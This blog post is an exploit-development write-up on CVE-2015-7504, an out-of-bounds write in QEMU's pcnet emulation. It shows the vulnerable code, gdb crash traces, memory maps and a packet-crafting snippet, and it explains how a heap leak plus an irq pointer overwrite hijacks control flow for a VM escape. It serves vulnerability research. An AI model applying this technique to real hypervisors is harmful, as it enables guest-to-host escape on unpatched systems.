QEMU Escape: Part 4 Hijack Control Flow (CVE-2015-7504)

Screenshot from 2018-03-13 22-07-42

Introduction

In the original post on QEMU escape, the author only introduces the details about the out-of-bound overflow (CVE-2015-7504) in QEMU. However, it adds no details on how to hijack the control flow. In this post, I will give more details on how I hijack the control to 0x414141414141 as shown in cover image.

Vulnerabiity Analysis

There exists a 4-byte out-of-bound write overflow in the pcnet_receive function.

uint8_t *src = s->buffer;

if (!s->looptest) {
    memcpy(src, buf, size);
    /* no need to compute the CRC */
    src[size] = 0;
    src[size + 1] = 0;
    src[size + 2] = 0;
    src[size + 3] = 0;
    size += 4;
} else if (s->looptest == PCNET_LOOPTEST_CRC || !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {

    uint32_t fcs = ~0;
    uint8_t *p = src;

    while (p != &src[size])
       CRC(fcs, *p++);
    *(uint32_t *)p = htonl(fcs);
    size += 4;
} else {
    uint32_t fcs = ~0;
    uint8_t *p = src;

    while (p != &src[size-4])
       CRC(fcs, *p++);
    crc_err = (*(uint32_t *)p != htonl(fcs));
}

The vulnerability exists at line 18 in the code above. Since there is no check on the size of the packer buffer, we can overflow the next 4 bytes of the target buffer if the buffer has exactly 4096 bytes.

According to the exploit provided in my github repository [2], we reproduce the crash as below. After attaching gdb to QEMU process and run the exploit, we get the crash info below
From the crash info, we can find that we can overwrite the least 4 byte the variable irq, which is located just after the victim buffer in stack.

Thread 3 "qemu-system-x86" hit Breakpoint 1, pcnet_receive (nc=0x55aaceaaa2d0, buf=0x55aacea49ba0 "RT", size_=4096)
    at /home/dango/Security/qemu/hw/net/pcnet.c:1082
1082	                *(uint32_t *)p = htonl(fcs);
$1 = 0x55aacea47910
$2 = 0x55aacea4aba0
(gdb) p/x p
$3 = 0x55aacea4aba0
(gdb) x/2gx $3
0x55aacea4aba0:	0x000055aace69b2f0	0x000055aacbe8cae9
(gdb) c
Continuing.
[Thread 0x7fa08ad0f700 (LWP 10213) exited]

Thread 3 "qemu-system-x86" received signal SIGSEGV, Segmentation fault.
0x000055aacbe37924 in qemu_set_irq (irq=0x55aadeadbeef, level=0) at /home/dango/Security/qemu/hw/core/irq.c:43
43	    irq->handler(irq->opaque, irq->n, level);
(gdb) x/2gx $3
0x55aacea4aba0:	0x000055aadeadbeef	0x000055aacbe8cae9
(gdb) x/10i $rip
=> 0x55aacbe37924 :	mov    0x30(%rax),%rax
   0x55aacbe37928 :	mov    -0x8(%rbp),%rdx
   0x55aacbe3792c :	mov    0x40(%rdx),%esi
   0x55aacbe3792f :	mov    -0x8(%rbp),%rdx
   0x55aacbe37933 :	mov    0x38(%rdx),%rcx
   0x55aacbe37937 :	mov    -0xc(%rbp),%edx
   0x55aacbe3793a :	mov    %rcx,%rdi
   0x55aacbe3793d :	callq  *%rax
   0x55aacbe3793f :	jmp    0x55aacbe37942 
   0x55aacbe37941 :	nop

However, here comes the problem. With CVE-2015-7504, we can only overwrite the last four bytes of the irq. Given the process information below, we can find that irq actually is located in the heap of QEMU process (0x000055aace69b2f0). But the mapped region for physical memory of the guest machine starts at 0x7f9ffc000000. It means that it is almost impossible for us to overwrite irq to an address in mapped region for guest machine. Therefore we need to find an alternative method to hijack control flow.

          Start Addr           End Addr       Size     Offset objfile
      0x55aacbbb2000     0x55aacc1a1000   0x5ef000        0x0 /home/dango/Security/qemu/bin/debug/build/x86_64-softmmu/qemu-system-x86_64
      0x55aacc3a1000     0x55aacc46e000    0xcd000   0x5ef000 /home/dango/Security/qemu/bin/debug/build/x86_64-softmmu/qemu-system-x86_64
      0x55aacc46e000     0x55aacc4f5000    0x87000   0x6bc000 /home/dango/Security/qemu/bin/debug/build/x86_64-softmmu/qemu-system-x86_64
      0x55aacc4f5000     0x55aacc994000   0x49f000        0x0
      0x55aacd192000     0x55aacec65000  0x1ad3000        0x0 [heap]
      0x7f9ff79fa000     0x7f9ff8000000   0x606000        0x0
      0x7f9ff8000000     0x7f9ff8021000    0x21000        0x0
      0x7f9ff8021000     0x7f9ffc000000  0x3fdf000        0x0
      0x7f9ffc000000     0x7fa07c000000 0x80000000        0x0

Control Flow Hijacking

Exploit Plan

As mentioned above, we cannot easily overwrite irq to an address in PHY_MEM of guest machine. But we can use some address located in heap for exploiation since the 8 most significant bytes of address in heap are the same (0x55aa). If we can somehow overwrite irq to another address in heap. whose content is under control, we can hijack control flow successfully.
In CVE-2015-7504, the most obvious heap buffer is the victim buffer in the exploit. We can easily put some crafted data in the victim buffer and overwrite irq to point to the crafted data.
As we have reaches to this point, the exploitation plan is clear. We need to leak the heap base address of the QEMU process. Then put the required data into the victim buffer and overwrite irq in the end.

Information Leakage

In our previous post, we leak the base address of QEMU text and the base address of mapped region for physical memory of guest machine with CVE-2015-5165.
In my previous post, we get the base address of the text of QEMU process by locating some function pointers read from the leaked memory. This time we take a similar method to search for addresses, which sits in the heap. Furthermore, we identify a few magic values that help me get the base address of heap.

The full code of the exploit is given in github repository [3] with result as shown below:
Screenshot from 2018-03-13 22-04-03

Hijack Control Flow

During debugging on the exploit, I find that the offset of &irq to heap base address is a fixed value and so is the victim buffer. Therefore the easiest way in this exploit is to fulfill the victim string with crafted value and trigger the out-of-bound write to make irq point to the desired address.
The full code is given on my github repository [4] and the final result is already given in the cover image.

packet_ptr = pcnet_packet;
for(int j=0x10; j<0x1f8; j += 2)
{
	*(packet_ptr + j) = 0x414141414141;
	*(packet_ptr + j + 1) = 0x424242424242;
}

Conclusion

In this post, I give more details on hijacking control flow to an arbitrary address on my machine. To achieve this goal, I improve the source code given in [1] and successfully control the value of $rip in the end.
During the test, I took some time to test if there exists heap spray technique in QEMU escape exploitation. If attacker can adopt heap spray technique similar to browser exploitation, then there is no need to leak the base address of heap. I did not make it succeed so far. If heap spray is possible in QEMU escape, I may give another post the other day.

Reference

[1] http://www.phrack.org/papers/vm-escape-qemu-case-study.html
[2] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/CVE_2015_7504_crash.c
[3] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/CVE_2015_5165_leak.c
[4] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/CVE_2015_7504_hijack.c

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.